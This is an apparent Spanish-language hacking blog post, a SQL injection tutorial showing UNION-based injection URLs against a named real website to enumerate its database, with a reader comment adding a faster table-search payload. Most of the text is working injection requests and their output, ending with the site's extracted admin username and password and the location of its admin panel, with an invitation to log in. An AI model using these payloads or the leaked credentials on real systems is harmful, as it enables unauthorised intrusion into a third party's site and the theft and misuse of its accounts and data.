Tutorial Ijection SQL

##########################################################################################
## TUTORIAL INJECTION SQL By Gothic-X ##
## ##
## Greetz: Version 1.1 ##
## || Zer0-z0oRg || Zues || Kaos || Dont.Cool || Murder || Knet || Fr34k || ##
## ##
## www.undermx.blogspot.com ##
## ##
## ##
## ##
##########################################################################################

WEB: http://directinformatica.es/
METODO DE ATAQUE: SQL INJECTION

Bueno empesaremos con buscar la parte de la web donde es vulnerable en este caso sera en
http://directinformatica.es/detalle.php?id= verificamos si es vulnerable haciendo una
consulta con solo ponerle ( ' ) una coma.
efectivamente este sitio es vulnerable a sql, como savemos? por que nos arrojo un mensaje de
error el cual es el siguiente.

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/gedraqxj/public_html/detalle.php on line 35

el cual nos indica que es vulnerable. bueno agora buscaremos cuantas columnas tiene el sitio agregando
lo siguiente al fina de la url de la web ( detalle.php?id=-1+union+select+0,1,2,3,4,..., en este caso tiene
9 columnas osea quedaria de la siguienteforma.

http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,8--

entrando veremos que nos arrojo unos numeritos en la web en este caso fueron : 8 , 4 , 2 .

ya estando aqui veremos si la web tiene information schema de manera que quede de esta forma:
agregando al final +from+information_schema.tables-- y reemplazando cualquiera de los numeros
nos arrojo la web por table_name quedando la url de la aiguiente manera;

http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema--

perfecto nos arrojo un texto CHARACTER_SETS el cual es una tabla y con eso confirmamos que tiene
information schema, ahora buscaremos la tabla de usuario, usuarios o admin agregando al final
+limit+1,1-- y quedaria de esta forma:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+1,1--

ahora para que encontremos la tabla deseada avansaremos en el primer uno del limit de la siguiente manera. +limit+2,1--
hasta ncontrar la tabla deseada. en esta web se tubo que avansar 20 para la tabla deseada y quedo de la siguiente manera
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+20,1--
y nos dio como resultado: adm_usuario
ahora como ver lo que esta dentro de la tabla, osea ver las columnas, bueno primero convertiremos la tabla a hexadecimal
usualmente uso esta herramienta http://hwagm.elhacker.net/php/sneak.php, bueno nos dio como resultado: 61646d5f7573756172696f
bueno al final de la url de la injection aditaremos el final reemplazando .tables+limit+20+1-- por columns+where(table_name=0xaquitabalaenhex)-- y
donde tenemos table_name lo reemplazamos por column_name y nos quedaria de la siguiente manera.
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,column_name+from+information_schema.columns+where(table_name=0x61646d5f7573756172696f)--
y vemos que nos arroja las columnas y para ir encontrando las columnas deseadas avansamos con +limit+1,1-- cambiando el 1 por 2 y asi susesivamente
hasta encontrar las columnas deseadas.
en esta web encontramos las siguientes columnas:
id_user, id_tipo, nomb_user , nick_user , pass_user , acti_user
bien ya con esas tenemos las esenciales que son nomb_user y pass_user.
ahora como vemos dentro de las columnas? bueno solo reemplazamos el fina despues de +from+ y agregamos el nombre de la tabla que es
adm_usuario y donde tenemos column_name reemplazamos por concat(columna,0x3a,columna) el 0x3a esta en hexadecimal y es ( : ), entonces
nos quedaria de la siguiente manera nuestra url:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,concat(nick_user,0x3a,pass_user)+from+adm_usuario--
y nos arrojara nuestra informacion deseada que es la siguiente: admin:matias1
ahora solo nos falta encontrar el admin panel, en la siguiente web es http://directinformatica.es/cms/
y nos logeamos y hacemos lo que tengamos que hacer.

THE END.

1 comentario:

b4du3l dijo...

No acostumbro dejar comentarios pero creo que esta es una buena ocasion.

El tutorial esta muy bien, no cabe duda,pero si diera la casualidad
que la tabla que necesitamos encontrar esta,
digamos en la posicion 300 de la tabla information_schema
seria algo bastante tedioso estar aumentando el primer parametro del limit de 1 en 1,
sin embargo por obra divina existe like en mysql que nos puede ahorrar un poco el trabajo
de estar incrementado el primer valor del limit.

Como ya todos saben la gran mayoria de las tablas que nos interesan casi siempe llevan palabras
como admin,usuario,users,etc.


supongamos en esta sentencia (tomada del tuto)

http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+20,1--

hagamos los siguiente

codifiquemos en hex la palabra adm acompañada de un % al inicio y al final = %adm%, que se yo en el mysql que tengas instalado o lo que este a la mano,
como resultado tenemos "0x2561646D25" = %adm%

cambiemos la sentencia anterior por:

http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+where+table_name+like+0x61646D--

si existiese como es el caso de la web usada en el tuto, nos acercaria mas rapido a la tabla requerida.

Algunos se preguntaran, porque nos ahorra un poco tiempo, la respuesta es simple , la consulta solo devuelve los registros de la tabla donde
en el nombre de la tabla o sea el table_name incluya la palabra adm evitandonos pasar por los registros que nada tiene que ver con lo que que buscamos
que es la tabla del admin :D

De la misma manera pueden usar esto para las columnas solo modifiquen la sentencia y listo se ahorraran un poco de tiempo

Conclusion, hay parametros en mysql que nos pueden ahorrar bastante tiempo en busquedas de tablas importantes y son parametros basicos y sencillos,
no esta demas hecharle una ojeada a algun manual de mysql.

Espero no incomodar a nadie. saludos